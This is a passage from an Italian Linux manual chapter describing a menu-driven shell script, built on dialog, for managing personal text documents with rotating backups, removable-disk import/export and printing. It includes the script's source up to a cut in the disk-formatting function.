Come si può vedere, le lettere accentate sono state realizzate con l'uso di un apostrofo inverso, per evitare qualunque problema di compatibilità con la configurazione della console.

Nella parte iniziale dello script vengono inseriti i comandi che dovrebbero trovarsi invece nel file '~/.profile', quindi vengono dichiarate delle variabili di ambiente il cui valore iniziale può essere modificato:

```
umask 022
alias cp="cp -f"
alias rm="rm -f"
alias mv="mv -f"
alias ln="ln -f"
#
#
DATA_DIRECTORY="$HOME/Documenti"
DATA_BACKUP_LEVELS="77"
DATA_NAME_DEFAULT="Nuovo"
DATA_EDITOR_COMMAND="luit -encoding ISO-8859-1 mcedit"
PRINTER_FILTER="\
| enscript -1 -M a4 -f CourierBold@9.1/9.5 \
    --margin=72:72:72:72 --header=||$% -o -
PRINTER_COMMAND="lpr"
IMPORT_EXPORT_MOUNT_POINTS_LIST="\
/mnt/a dischetto \
/mnt/d penna_USB"
IMPORT_EXPORT_DEVICES_LIST="/dev/fd0 dischetto"
```

La tabella successiva riepiloga il significato di queste variabili di ambiente:

Variabile	Descrizione
`DATA_DIRECTORY`	La directory da usare per la gestione dei file di testo.
`DATA_BACKUP_LEVELS`	Il numero di livelli per la conservazione delle versioni precedenti.
`DATA_NAME_DEFAULT`	La radice del nome predefinito da usare per i documenti nuovi.
`DATA_EDITOR_COMMAND`	Il comando da usare per accedere alla modifica di un file. Il nome del file viene fornito alla fine.
`PRINTER_FILTER`	Il comando per trasformare un file di testo in un file PostScript con un'impaginazione corretta, comprendente dei margini e possibilmente la numerazione delle pagine.
`PRINTER_COMMAND`	Il comando per stampare, in grado di ricevere il file dallo standard input.
`IMPORT_EXPORT_MOUNT_POINTS_LIST`	L'elenco dei punti di innesto per inserire unità di memorizzazione esterne. Queste directory devono essere state previste nel file '`/etc/fstab`', in modo da consentire all'utente in questione di poter eseguire il comando '**`mount`**'. L'elenco è composto da coppie di «parole», dove la prima è la directory e la seconda è la descrizione da visualizzare nel menù.
`IMPORT_EXPORT_DEVICES_LIST`	L'elenco dei file di dispositivo delle unità di memorizzazione esterne da usare per il trasferimento dei dati. Attraverso questi nomi è possibile inizializzare tali unità, ammesso che l'utente disponga dei permessi necessari. L'elenco è composto da coppie di «parole», dove la prima è il file di dispositivo e la seconda è la descrizione da visualizzare nel menù.

20.11.1 Gestione dei file di testo

Per la gestione dei file di testo, ci si avvale di un programma esterno, definito dalla variabile di ambiente ***DATA_EDITOR_COMMAND***, usato solo per modificare un file, mentre il resto può essere gestito esternamente, attraverso le voci previste nel menù.

La creazione di un nuovo documento, si ottiene con la selezione della voce `new`, a cui segue la richiesta di specificare il nome che si preferisce:

```
.--crea un documento nuovo---.
| Inserisci il nome del      |
| documento da creare:       |
| .------------------------. |
| |Nuovo-1                 | |
| '------------------------' |
|----------------------------|
|   <  OK  >  <Cancel>       |
'----------------------------'
```

Inizialmente viene proposto un nome predefinito, in base all'indicazione della variabile di ambiente ***DATA_NAME_DEFAULT***. Il nome può essere modificato e lo si può scrivere come si vuole: se il nome contiene simboli diversi dalle lettere alfabetiche latine, da numeri e da trattini ('-' o '_'), questo viene aggiustato in qualche modo; se il nome esiste già, viene modificato in modo da evitare il conflitto. Il file viene creato vuoto e viene avviato il programma di modifica per consentire la scrittura di ciò che si desidera.

Per visualizzare il contenuto di un documento, ovvero di un file di testo contenuto nella directory prevista, si può selezionare la voce `view`, ottenendo così la richiesta di selezionare il nome di questo:

```
.-visualizza un documento gia' esistente-.
| Seleziona il documento da              |
| visualizzare:                          |
| .------------------------------------. |
| |       appunti-1          .         | |
| |       appunti-2          .         | |
| |       da-fare            .         | |
| |       cose-vecchie       .         | |
| '------------------------------------' |
|----------------------------------------|
|         <  OK  >     <Cancel>          |
'----------------------------------------'
```

Si osservi che dall'elenco sono esclusi volutamente i nomi che contengono una tilde ('~'), che normalmente rappresenta una copia di sicurezza generata dal programma usato per modificare i file.

La modifica si ottiene selezionando la voce `edit` e il comportamento è simile a quanto già descritto a proposito della visualizzazione, con la differenza che viene avviato il programma per modificare i file di testo. Si presume che l'utente si limiti a salvare, senza modificare il nome, altrimenti questo script potrebbe essere inutile.

```
.-modifica un documento gia' esistente-.
| Seleziona il documento da            |
| modificare:                          |
| .----------------------------------. |
| |       appunti-1           .      | |
| |       appunti-2           .      | |
| |       da-fare             .      | |
| |       cose-vecchie        .      | |
| '----------------------------------' |
|--------------------------------------|
|        <  OK  >     <Cancel>         |
'--------------------------------------'
```

Selezionando dal menù la voce '**copy**' è possibile fare una copia di un file esistente, all'interno della stessa directory. In pratica, questa copia potrebbe servire per realizzare un documento a partire dai contenuti di un altro già scritto in precedenza. Viene richiesto di selezionare il file da copiare, quindi viene chiesto il nome da assegnare: se il nome nuovo va in conflitto con un altro file già esistente, la copia viene annullata.

```
.-------copia un documento-------.
| Seleziona il documento da      |
| copiare:                       |
| .----------------------------. |
| |     appunti-1            . | |
| |     appunti-2            . | |
| |     da-fare              . | |
| |     cose-vecchie         . | |
| '----------------------------' |
|--------------------------------|
|     <  OK  >     <Cancel>      |
'--------------------------------'
```

In questo esempio si suppone di avere selezionato il nome *appunti-1*, perciò è lo stesso nome '**appunti-1**' che viene proposto inizialmente per la copia, ma ovviamente deve essere modificato:

```
.-----copia un documento-----.
| Inserisci il nome per la   |
| copia del documento:       |
| .------------------------. |
| |appunti-1               | |
| '------------------------' |
|----------------------------|
|   <  OK  >  <Cancel>       |
'----------------------------'
```

Dal menù è possibile selezionare la voce *rename* per essere guidati alla modifica del nome di uno dei file che compongono i documenti. Come già per la copia, viene richiesto di selezionare un nome esistente, quindi viene offerta una mascherina per inserire il nome nuovo. Il nome che si attribuisce non può essere uguale a uno già presente; in caso contrario, l'operazione non viene eseguita.

```
.---cambia nome a un documento---.
| Seleziona il documento da      |
| rinominare:                    |
| .----------------------------. |
| |      appunti-1           . | |
| |      appunti-2           . | |
| |      da-fare             . | |
| |      cose-vecchie        . | |
| '----------------------------' |
|--------------------------------|
|     <  OK  >      <Cancel>     |
'--------------------------------'
```

```
.-cambia nome a un documento-.
| Inserisci il nome nuovo    |
| per il documento:          |
| .------------------------. |
| |appunti-1               | |
| '------------------------' |
|----------------------------|
|   <  OK  >  <Cancel>       |
'----------------------------'
```

Per cancellare un file è possibile selezionare la voce `delete`, a cui segue la richiesta di selezionare il nome da eliminare. Prima di procedere alla cancellazione, una copia del file viene conservata nelle directory usate per le versioni precedenti.

```
.-elimina un documento che non serve piu'-.
| Seleziona il documento da cancellare    |
| .-------------------------------------. |
| |      appunti-1            .         | |
| |      appunti-2            .         | |
| |      da-fare              .         | |
| |      cose-vecchie         .         | |
| '-------------------------------------' |
|-----------------------------------------|
|          <  OK  >      <Cancel>         |
'-----------------------------------------'
```

```
.--elimina un documento che non serve piu'--.
| Vuoi cancellare il documento "appunti-1"? |
|                                           |
|-------------------------------------------|
|          <  Yes  >      <  No  >          |
'-------------------------------------------'
```

20.11.2 Copie delle versioni precedenti

Lo script prevede che per alcune operazioni delicate venga fatta la copia dei documenti che devono essere modificati, cancellati o sostituiti. Questa copia viene eseguita all'interno di sottodirectory con il nome '`~backup.`***n***`/`', dove la tilde ('**~**') fa parte del nome e il numero finale rappresenta il livello della copia. In pratica, la sottodirectory '`~backup.1/`' contiene le copie più recenti.

Il numero di livelli di copia è definito dalla variable di ambiente ***DATA_BACKUP_LEVELS*** e può essere modificato liberamente: lo script, a ogni avvio, verifica la presenza di queste sottodirectory e in caso siano assenti le crea senza fare domande all'utente.

Lo script non prevede un sistema di recupero dei documenti nelle loro versioni precedenti. Eventualmente, per questo, l'utente deve chiedere aiuto a persona più preparata.

20.11.3 Esportazione e importazione dati

Pur trattandosi di un lavoro molto semplice, si presume che la persona che lo utilizza abbia la necessità di trasferire i propri documenti da e verso un disco rimovibile. Per poter fare questo, è necessario che sia stato previsto nel file '`/etc/fstab`' il modo di accedere a dei dischi esterni anche a un utente comune. In base a questa configurazione è necessario modificare la variabile di ambiente ***IMPORT_EXPORT_MOUNT_POINTS_LIST***.

La variabile di ambiente ***IMPORT_EXPORT_MOUNT_POINTS_LIST*** deve contenere un elenco di coppie di «parole», secondo la forma:

directory_innesto descrizione

Per esempio, ammesso che la directory '`/mnt/fd0/`' serva per innestare un dischetto e che la directory '`/mnt/sda1/`' serva per innestare la prima partizione di un'unità USB, si potrebbe inizializzare la variabile nel modo seguente:

```
IMPORT_EXPORT_MOUNT_POINTS_LIST="/mnt/a dischetto /mnt/d penna_USB"
```

Si osservi che non si possono inserire spazi nella descrizione.

Sulla base di questo esempio, il file '`/etc/fstab`' potrebbe contenere le righe seguenti, dove si dà per scontato che il file system sia di tipo Dos-FAT:

```
/dev/fd0   /mnt/a   vfat   defaults,user,noauto,exec,sync,umask=0000  0  0
/dev/sda1  /mnt/d   vfat   defaults,user,noauto,exec,sync,umask=0000  0  0
```

Oltre a questo è necessario che l'utente possa inizializzare i dischetti, pertanto deve avere i privilegi per poterlo fare. Nella variabile di ambiente ***IMPORT_EXPORT_DEVICES_LIST*** si mette l'elenco dei file di dispositivo che l'utente può inizializzare. Anche in questo caso i nomi sono associati a una descrizione. Supponendo che sia concesso di inizializzare solo il dischetto, la variabile può essere inizializzata così:

```
IMPORT_EXPORT_DEVICES_LIST="/dev/fd0 dischetto"
```

Anche per questa situazione, non si possono inserire spazi nella descrizione.

Attraverso le voci del menù è possibile: ottenere l'elenco del contenuto di un'unità di memorizzazione esterna; vedere il contenuto di un file di tale unità; cancellare il contenuto dell'unità esterna o inizializzarla. Inoltre, è possibile copiare file da o verso l'unità esterna.

Per tutte queste funzioni è richiesto di specificare l'unità esterna. In tutti i casi, escluso quello dell'inizializzazione, viene mostrato l'elenco contenuto nella variabile di ambiente ***IMPORT_EXPORT_MOUNT_POINTS_LIST***, mentre per l'inizializzazione vale l'altra variabile (***IMPORT_EXPORT_DEVICES_LIST***).

Viene mostrato il caso dell'esportazione, che si ottiene con la voce *`export`* del menù. Si comincia dalla selezione dell'unità che deve accogliere la copia:

```
.esporta dei documenti in un disco rimovibile--.
| Seleziona l'unita' da usare per              |
| l'esportazione dei documenti:                |
| .------------------------------------------. |
| |             /mnt/a  dischetto            | |
| |             /mnt/d  penna_USB            | |
| '------------------------------------------' |
|----------------------------------------------|
|           <  OK  >      <Cancel>             |
'----------------------------------------------'
```

Si selezionano i documenti da esportare, con l'aiuto della barra spaziatrice:

```
.esporta dei documenti in un disco rimovibile--.
| Seleziona o deseleziona i documenti da       |
| esportare, con l'aiuto della barra           |
| spaziatrice:                                 |
| .------------------------------------------. |
| |       [X] appunti-2          .           | |
| |       [X] da-fare            .           | |
| |       [ ] cose-vecchie       .           | |
| '----------------v(+)----------------------' |
|----------------------------------------------|
|           <  OK  >      <Cancel>             |
'----------------------------------------------'
```

Alla conferma inizia la copia; se ci sono file con lo stesso nome, lo script verifica se il contenuto è lo stesso, altrimenti chiede conferma per procedere alla sovrascrittura.

L'importazione avviene nello stesso modo, con la differenza che se viene richiesta la sovrascrittura, i documenti precedenti vengono salvati attraverso il sistema di rotazione delle versioni.

20.11.4 Stampa

La stampa si ottiene selezionando la voce `print` dal menù principale. A questo segue la richiesta di selezionare un solo documento dall'elenco di quelli esistenti. La stampa avviene con i comandi indicati nelle variabili di ambiente ***PRINTER_FILTER*** e ***PRINTER_COMMAND***.

20.11.5 Sorgente

Nel listato successivo, appare integralmente lo script descritto in questo capitolo. Una copia di questo file, dovrebbe essere disponibile anche all'indirizzo ⟨*allegati/shell-testi.sh*⟩.

```
#!/bin/sh
#
# Initial setup.
#
umask 022
alias cp="cp -f"
alias rm="rm -f"
alias mv="mv -f"
alias ln="ln -f"
#
# Configuration public variables.
#
DATA_DIRECTORY="$HOME/Documenti"
```

```
DATA_BACKUP_LEVELS="77"
DATA_NAME_DEFAULT="Nuovo"
DATA_EDITOR_COMMAND="luit -encoding ISO-8859-1 mcedit"
PRINTER_FILTER="enscript -1 -M a4 -f CourierBold@9.1/9.5 \
                --margin=72:72:72:72 \
                --header=||$% -o -"
PRINTER_COMMAND="lpr"
IMPORT_EXPORT_MOUNT_POINTS_LIST="/mnt/a dischetto \
                                 /mnt/d penna_USB"
IMPORT_EXPORT_DEVICES_LIST="/dev/fd0 dischetto"
#
# Other public variables.
#
TEMPORARY=`tempfile`
touch $TEMPORARY
#
DOCUMENT_LIST=""
#
# Intro.
#
function_intro () {
    #
    # Check data directory.
    #
    if [ -d "$DATA_DIRECTORY" ]
    then
        #
        # The directory is there.
        #
        printf ""
    else
        #
        # Make directory with parents if necessary.
        #
        if mkdir -p "$DATA_DIRECTORY"
        then
            #
            # Data directory created.
            #
            printf ""
        else
            #
            # Sorry, cannot create the data directory.
            #
            dialog --msgbox "Sono spiacente, ma non mi e\` possibile creare l\
a directory \"$DATA_DIRECTORY\" che serve a contenere i documenti." 0 0
            #
            function_quit
        fi
    fi
    #
    # If we are here, the data directory is there.
    #
```

```
    chmod +rwx "$DATA_DIRECTORY"        2> /dev/null
    #
    if [ -r "$DATA_DIRECTORY" ] \
       && [ -w "$DATA_DIRECTORY" ] \
       && [ -x "$DATA_DIRECTORY" ]
    then
        #
        # The directory is accessible.
        #
        printf ""
    else
        #
        # Sorry, cannot access the data directory.
        #
        dialog --msgbox "Sono spiacente, ma i permessi della directory \
\"$DATA_DIRECTORY\" non mi permettono di accedere." 0 0
        #
        function_quit
    fi
    #
    # If we are here, the directory has permissions;
    # backup subdirectories must be checked.
    #
    for b in `seq 1 $DATA_BACKUP_LEVELS`
    do
        #
        chmod +rwx "$DATA_DIRECTORY/~backup.$b" 2> /dev/null
        #
        if    [ -d "$DATA_DIRECTORY/~backup.$b" ] \
           && [ -r "$DATA_DIRECTORY/~backup.$b" ] \
           && [ -w "$DATA_DIRECTORY/~backup.$b" ] \
           && [ -x "$DATA_DIRECTORY/~backup.$b" ]
        then
            #
            # Ok.
            #
            printf ""
        else
            #
            # Try to remove and replace.
            #
            rm -fr "$DATA_DIRECTORY/~backup.$b" 2> /dev/null
            if mkdir "$DATA_DIRECTORY/~backup.$b"
            then
                #
                # Ok.
                #
                printf ""
            else
                #
                # Sorry.
                #
                dialog --msgbox "Sono spiacente, ma non mi e\` possibile \
```

```
creare le directory \"$DATA_DIRECTORY/~backup.$b\" che servono a contenere \
le versioni vecchie dei documenti." 0 0
                #
                function_quit
            fi
        fi
    done
}
#
# Quit the script.
#
function_quit () {
    exit
}
#
# New default name.
#
function_new_document_name () {
    #
    for n in `seq 1 999`
    do
        if ! [ -e "$DATA_DIRECTORY/$DATA_NAME_DEFAULT-$n" ]
        then
            #
            # Name found.
            #
            echo "$DATA_NAME_DEFAULT-$n"
            return 0
        fi
    done
    #
    # No available name was found.
    #
    basename `tempfile -d "$DATA_DIRECTORY"`
    return 0
}
#
# Edit.
#
function_edit_document () {
    #
    $DATA_EDITOR_COMMAND $1
}
#
# Backup document.
#
function_backup_document () {
    #
    local DOCUMENT_NAME="$1"
    local n=""
    #
    DOCUMENT_NAME=`basename $DOCUMENT_NAME`
    #
```

```
    # Scroll previous levels.
    #
    for n in `seq $(($DATA_BACKUP_LEVELS-1)) -1 1`
    do
        mv "$DATA_DIRECTORY/~backup.$n/$DOCUMENT_NAME" \
           "$DATA_DIRECTORY/~backup.$(($n+1))" 2> /dev/null
    done
    #
    # Save last version.
    #
    cp -f "$DATA_DIRECTORY/$DOCUMENT_NAME" \
          "$DATA_DIRECTORY/~backup.1/$DOCUMENT_NAME"
}
#
# Build a document list to be used with dialog.
# The variabile DOCUMENT_LIST is public and
# will contain the resulting list.
#
function_document_list () {
    #
    local DOCUMENT_NAME=""
          DOCUMENT_LIST=""
    #
    for f in $DATA_DIRECTORY/*
    do
        if echo $f | grep "~" > /dev/null 2> /dev/null
        then
            #
            # This seems to be a backup copy: don't show.
            #
            printf ""
        else
            #
            # It seems to be a valid name.
            #
            if [ -f $f ]
            then
                DOCUMENT_NAME=`basename $f`
                DOCUMENT_LIST="$DOCUMENT_LIST $DOCUMENT_NAME . "
            fi
        fi
    done
}
#
# Main menu.
#
function_menu () {
    #
    local SELECTION=""
    #
    if dialog   \
        --clear \
        --title "Menu\` principale" \
```

```
        --menu "Funzioni disponibili:" \
        0 0 0 \
        "new"           "crea un documento nuovo" \
        "view"          "visualizza un documento gia\` esistente" \
        "edit"          "modifica un documento gia\` esistente" \
        "copy"          "copia un documento" \
        "rename"        "cambia nome a un documento" \
        "delete"        "elimina un documento che non serve piu\`" \
        "list"          "elenca il contenuto di un disco rimovibile" \
        "view2"         "visualizza un documento contenuto in un disco \
rimovibile" \
        "erase"         "cancella un disco rimovibile" \
        "format"        "inizializza un disco rimovibile" \
        "export"        "esporta dei documenti in un disco rimovibile" \
        "import"        "importa dei documenti da un disco rimovibile" \
        "print"         "stampa un documento" \
        "startx"        "avvia la grafica" \
        "quit"          "fine lavoro" \
        2> $TEMPORARY
    then
        SELECTION=`cat $TEMPORARY`
        echo "" > $TEMPORARY
        #
        # Continue as run with this command name (arguments included).
        #
        if   [ "$SELECTION" = "new" ]
        then
            function_new
        elif [ "$SELECTION" = "view" ]
        then
            function_view
        elif [ "$SELECTION" = "edit" ]
        then
            function_edit
        elif [ "$SELECTION" = "copy" ]
        then
            function_copy
        elif [ "$SELECTION" = "rename" ]
        then
            function_rename
        elif [ "$SELECTION" = "delete" ]
        then
            function_delete
        elif [ "$SELECTION" = "list" ]
        then
            function_list
        elif [ "$SELECTION" = "view2" ]
        then
            function_view2
        elif [ "$SELECTION" = "erase" ]
        then
            function_erase
        elif [ "$SELECTION" = "format" ]
```

```
        then
            function_format
        elif [ "$SELECTION" = "export" ]
        then
            function_export
        elif [ "$SELECTION" = "import" ]
        then
            function_import
        elif [ "$SELECTION" = "print" ]
        then
            function_print
        elif [ "$SELECTION" = "startx" ]
        then
            function_startx
        elif [ "$SELECTION" = "quit" ]
        then
            function_quit
        else
            function_quit
        fi
    fi
}
#
# Create e a new document.
#
function_new () {
    #
    local DOCUMENT_NAME=`function_new_document_name`
    #
    if dialog                                                   \
        --clear                                                 \
        --title "crea un documento nuovo"                       \
        --inputbox "Inserisci il nome del documento da creare:" \
        0 0                                                     \
        "$DOCUMENT_NAME"                                        \
        2> $TEMPORARY
    then
        DOCUMENT_NAME=`cat $TEMPORARY`
        echo "" > $TEMPORARY
        #
        # Check and adapt the name.
        #
        DOCUMENT_NAME=`echo "$DOCUMENT_NAME" | sed "s/[^a-zA-Z0-9_-]/_/g"`
        #
        if [ -e "$DATA_DIRECTORY/$DOCUMENT_NAME" ]
        then
            for n in `seq 1 999`
            do
                if ! [ -e "$DATA_DIRECTORY/$DOCUMENT_NAME-$n" ]
                then
                    #
                    # Ok.
                    #
```

```
                    DOCUMENT_NAME="$DOCUMENT_NAME-$n"
                    break
                fi
            done
        fi
        #
        if [ -e "$DATA_DIRECTORY/$DOCUMENT_NAME" ]
        then
            #
            # Sorry, cannot create the file.
            #
            dialog --msgbox "Sono spiacente, ma non mi e\` possibile creare \
il documento \"$DOCUMENT_NAME\"." 0 0
        else
            touch "$DATA_DIRECTORY/$DOCUMENT_NAME"
            #
            #
            #
            function_edit_document "$DATA_DIRECTORY/$DOCUMENT_NAME"
        fi
    fi
}
#
# View document.
#
function_view () {
    #
    local DOCUMENT_NAME=""
    #
    function_document_list
    #
    if dialog                                                   \
        --clear                                                 \
        --title "visualizza un documento gia\` esistente"       \
        --menu "Seleziona il documento da visualizzare:"        \
        0 0 0                                                   \
        $DOCUMENT_LIST                                          \
        2> $TEMPORARY
    then
        DOCUMENT_NAME=`cat $TEMPORARY`
        echo "" > $TEMPORARY
        #
        if [ -f "$DATA_DIRECTORY/$DOCUMENT_NAME" ]
        then
            #
            # Ok, view.
            #
            dialog                                              \
                --clear                                         \
                --title "$DOCUMENT_NAME"                        \
                --textbox "$DATA_DIRECTORY/$DOCUMENT_NAME"      \
                0 0                                             \
                2> /dev/null
```

```
        fi
    fi
}
#
# Edit a file.
#
function_edit () {
    #
    local DOCUMENT_NAME=""
    #
    function_document_list
    #
    if dialog                                                    \
        --clear                                                  \
        --title "modifica un documento gia\` esistente"          \
        --menu "Seleziona il documento da modificare:"           \
        0 0 0                                                    \
        $DOCUMENT_LIST                                           \
        2> $TEMPORARY
    then
        DOCUMENT_NAME=`cat $TEMPORARY`
        echo "" > $TEMPORARY
        #
        if [ -f "$DATA_DIRECTORY/$DOCUMENT_NAME" ]
        then
            #
            # Ok, edit.
            #
            function_backup_document "$DATA_DIRECTORY/$DOCUMENT_NAME"
            function_edit_document "$DATA_DIRECTORY/$DOCUMENT_NAME"
        fi
    fi
}
#
# Copy a file.
#
function_copy () {
    #
    local DOCUMENT_NAME=""
    local NEW_DOCUMENT_NAME=""
    #
    function_document_list
    #
    if dialog                                            \
        --clear                                          \
        --title "copia un documento"                     \
        --menu "Seleziona il documento da copiare:"      \
        0 0 0                                            \
        $DOCUMENT_LIST                                   \
        2> $TEMPORARY
    then
        DOCUMENT_NAME=`cat $TEMPORARY`
        echo "" > $TEMPORARY
```

```
        #
        if [ -f "$DATA_DIRECTORY/$DOCUMENT_NAME" ]
        then
            #
            # Ok, rename.
            #
            if dialog                                                   \
                --clear                                                 \
                --title "copia un documento"                            \
                --inputbox                                              \
                        "Inserisci il nome per la copia del documento:" \
                0 0                                                     \
                "$DOCUMENT_NAME"                                        \
                2> $TEMPORARY
            then
                NEW_DOCUMENT_NAME=`cat $TEMPORARY`
                echo "" > $TEMPORARY
                #
                # Check and adapt the name.
                #
                NEW_DOCUMENT_NAME=`echo "$NEW_DOCUMENT_NAME" \
| sed "s/[^a-zA-Z0-9_-]/_/g"`
                #
                if [ -e "$DATA_DIRECTORY/$NEW_DOCUMENT_NAME" ]
                then
                    #
                    # Already present.
                    #
                    dialog --msgbox "Sono spiacente, ma il nome richiesto, \
\"$NEW_DOCUMENT_NAME\" e\` gia\` assegnato a un documento esistente e non \
posso usarlo per fare la copia di \"$DOCUMENT_NAME\"." 0 0
                else
                    cp -f "$DATA_DIRECTORY/$DOCUMENT_NAME" \
                          "$DATA_DIRECTORY/$NEW_DOCUMENT_NAME"
                fi
            fi
        fi
    fi
}
#
# Rename a file.
#
function_rename () {
    #
    local DOCUMENT_NAME=""
    local NEW_DOCUMENT_NAME=""
    #
    function_document_list
    #
    if dialog                                           \
        --clear                                         \
        --title "cambia nome a un documento"            \
        --menu "Seleziona il documento da rinominare:"  \
```

```
        0 0 0                                           \
        $DOCUMENT_LIST                                  \
        2> $TEMPORARY
    then
        DOCUMENT_NAME=`cat $TEMPORARY`
        echo "" > $TEMPORARY
        #
        if [ -f "$DATA_DIRECTORY/$DOCUMENT_NAME" ]
        then
            #
            # Ok, rename.
            #
            if dialog                                                   \
                --clear                                                 \
                --title "cambia nome a un documento"                    \
                --inputbox "Inserisci il nome nuovo per il documento:"  \
                0 0                                                     \
                "$DOCUMENT_NAME"                                        \
                2> $TEMPORARY
            then
                NEW_DOCUMENT_NAME=`cat $TEMPORARY`
                echo "" > $TEMPORARY
                #
                # Check and adapt the name.
                #
                NEW_DOCUMENT_NAME=`echo "$NEW_DOCUMENT_NAME" \
| sed "s/[^a-zA-Z0-9_-]/_/g"`
                #
                if [ -e "$DATA_DIRECTORY/$NEW_DOCUMENT_NAME" ]
                then
                    #
                    # Already present.
                    #
                    dialog --msgbox "Sono spiacente, ma il nome richiesto, \
\"$NEW_DOCUMENT_NAME\" e\` gia\` assegnato a un documento esistente e non \
posso usarlo per cambiare il nome di \"$DOCUMENT_NAME\"." 0 0
                else
                    mv -f "$DATA_DIRECTORY/$DOCUMENT_NAME" \
                          "$DATA_DIRECTORY/$NEW_DOCUMENT_NAME"
                fi
            fi
        fi
    fi
}
#
# Delete a file.
#
function_delete () {
    #
    local DOCUMENT_NAME=""
    #
    function_document_list
    #
```

```
    if dialog                                                       \
        --clear                                                     \
        --title "elimina un documento che non serve piu\`"          \
        --menu "Seleziona il documento da cancellare:"              \
        0 0 0                                                       \
        $DOCUMENT_LIST                                              \
        2> $TEMPORARY
    then
        DOCUMENT_NAME=`cat $TEMPORARY`
        echo "" > $TEMPORARY
        #
        if [ -f "$DATA_DIRECTORY/$DOCUMENT_NAME" ]
        then
            #
            # Ok, delete.
            #
            function_backup_document "$DATA_DIRECTORY/$DOCUMENT_NAME"
            #
            if dialog                                                       \
                --clear                                                     \
                --title "elimina un documento che non serve piu\`"          \
                --yesno "Vuoi cancellare il documento \"$DOCUMENT_NAME\"?" \
                0 0                                                         \
                2> /dev/null
            then
                rm -f "$DATA_DIRECTORY/$DOCUMENT_NAME"
            fi
        fi
    fi
}
#
# List external files.
#
function_list () {
    #
    local MOUNT_POINT=""
    #
    if ! [ "$IMPORT_EXPORT_MOUNT_POINTS_LIST" = "" ]
    then
        if dialog                                                   \
            --clear                                                 \
            --title "elenca il contenuto di un disco rimovibile"    \
            --menu "Seleziona l'unita\` di memorizzazione esterna \
di cui vuoi conoscere l'elenco del contenuto:"                      \
            0 0 0                                                   \
            $IMPORT_EXPORT_MOUNT_POINTS_LIST                        \
            2> $TEMPORARY
        then
            #
            MOUNT_POINT=`cat $TEMPORARY`
            echo "" > $TEMPORARY
            #
            # Try to mount.
```

```
            #
            umount "$MOUNT_POINT" 2> /dev/null
            if mount "$MOUNT_POINT"
            then
                #
                # Ok, list
                #
                ls -l $MOUNT_POINT
                #
                # Read
                #
                echo "Premi [Invio] per continuare"
                read
                #
                # Unmount.
                #
                umount "$MOUNT_POINT"
            else
                dialog --msgbox "Sono spiacente: mi e\` impossibile \
accedere all'unita\` \"$MOUNT_POINT\"." 0 0
                #
                umount "$MOUNT_POINT"   2> /dev/null
            fi
        fi
    else
        dialog --msgbox "Non e\` possibile eseguire l'operazione." 0 0
    fi
}
#
# View and external file.
#
function_view2 () {
    #
    local MOUNT_POINT=""
    local DOCUMENT_LIST=""
    local DOCUMENT_NAME=""
    #
    if ! [ "$IMPORT_EXPORT_MOUNT_POINTS_LIST" = "" ]
    then
        if dialog                                   \
            --clear                                 \
            --title "visualizza un documento contenuto in un disco \
rimovibile"                                         \
            --menu "Seleziona l'unita\` da usare per la visualizzazione \
dei documenti:"                                     \
            0 0 0                                   \
            $IMPORT_EXPORT_MOUNT_POINTS_LIST        \
            2> $TEMPORARY
        then
            #
            MOUNT_POINT=`cat $TEMPORARY`
            echo "" > $TEMPORARY
            #
```

```
            # Try to mount.
            #
            umount "$MOUNT_POINT" 2> /dev/null
            if mount "$MOUNT_POINT"
            then
                #
                # Ok, go on.
                #
                for f in $MOUNT_POINT/*
                do
                    if [ -f $f ]
                    then
                        DOCUMENT_NAME=`basename $f`
                        DOCUMENT_LIST="$DOCUMENT_LIST $DOCUMENT_NAME . "
                    fi
                done
                #
                if dialog                                       \
                        --clear                                 \
                        --title "visualizza un documento contenuto in un \
disco rimovibile"                                               \
                        --menu "Seleziona il file da visualizzare:\n" \
                        0 0 0                                   \
                        $DOCUMENT_LIST                          \
                        2> $TEMPORARY
                then
                    DOCUMENT_NAME=`cat $TEMPORARY`
                    echo "" > $TEMPORARY
                    #
                    # Ok, view.
                    #
                    dialog                                      \
                        --clear                                 \
                        --title "$DOCUMENT_NAME"                \
                        --textbox "$MOUNT_POINT/$DOCUMENT_NAME" \
                        0 0                                     \
                        2> /dev/null
                fi
                #
                umount "$MOUNT_POINT"
            else
                dialog --msgbox "Sono spiacente: mi e\` impossibile \
accedere all'unita\` \"$MOUNT_POINT\"." 0 0
                #
                umount "$MOUNT_POINT"   2> /dev/null
            fi
        fi
    else
        dialog --msgbox "Non e\` possibile eseguire l'operazione." 0 0
    fi
}
#
# Erase an external device.
```

```
#
function_erase () {
    #
    local MOUNT_POINT=""
    local NAME=""
    #
    if ! [ "$IMPORT_EXPORT_MOUNT_POINTS_LIST" = "" ]
    then
        if dialog                                       \
            --clear                                     \
            --title "cancella un disco rimovibile"      \
            --menu "Seleziona l'unita\` di memorizzazione esterna \
da cancellare:"                                         \
            0 0 0                                       \
            $IMPORT_EXPORT_MOUNT_POINTS_LIST            \
            2> $TEMPORARY
        then
            #
            MOUNT_POINT=`cat $TEMPORARY`
            echo "" > $TEMPORARY
            #
            # Try to mount.
            #
            umount "$MOUNT_POINT" 2> /dev/null
            if mount "$MOUNT_POINT"
            then
                #
                # Ok, delete
                #
                for d in $MOUNT_POINT/*
                do
                    NAME=`basename $d`
                    if dialog                                   \
                        --clear                                 \
                        --title "cancella un disco rimovibile"  \
                        --yesno "L'unita\` esterna \"$MOUNT_POINT\" \
contiene il file \"$NAME\". Vuoi cancellarlo?"                  \
                        0 0                                     \
                        2> /dev/null
                    then
                        if rm -fr $d
                        then
                            printf ""
                        else
                            dialog --msgbox "Non riesco a cancellare \
\"$d\"." 0 0
                        fi
                    fi
                done
                #
                # Unmount.
                #
                umount "$MOUNT_POINT"
```

```
            else
                dialog --msgbox "Sono spiacente: mi e\` impossibile \
accedere all'unita\` \"$MOUNT_POINT\"." 0 0
                #
                umount "$MOUNT_POINT" 2> /dev/null
            fi
        fi
    else
        dialog --msgbox "Non e\` possibile eseguire l'operazione." 0 0
    fi
}
#
# Format an external device.
#
function_format () {
    #
    local FORMAT_DEVICE=""
    #
    #
    #
    if ! [ "$IMPORT_EXPORT_DEVICES_LIST" = "" ]
    then
        if dialog                                                        \
            --clear                                                      \
            --title "inizializza un disco rimovibile"                    \
            --menu "Seleziona l'unita\` di memorizzazione esterna \
da inizializzare (azzerare):"                                            \
            0 0 0                                                        \
            $IMPORT_EXPORT_DEVICES_LIST                                  \
            2> $TEMPORARY
        then
            #
            FORMAT_DEVICE=`cat $TEMPORARY`
            echo "" > $TEMPORARY
            #
            if dialog                                            \
                --clear                                          \
                --title "inizializza un disco rimovibile"        \
                --yesno "Vuoi inizializzare l'unita\` esterna \
\"$FORMAT_DEVICE\"?"                                             \
                0 0                                              \
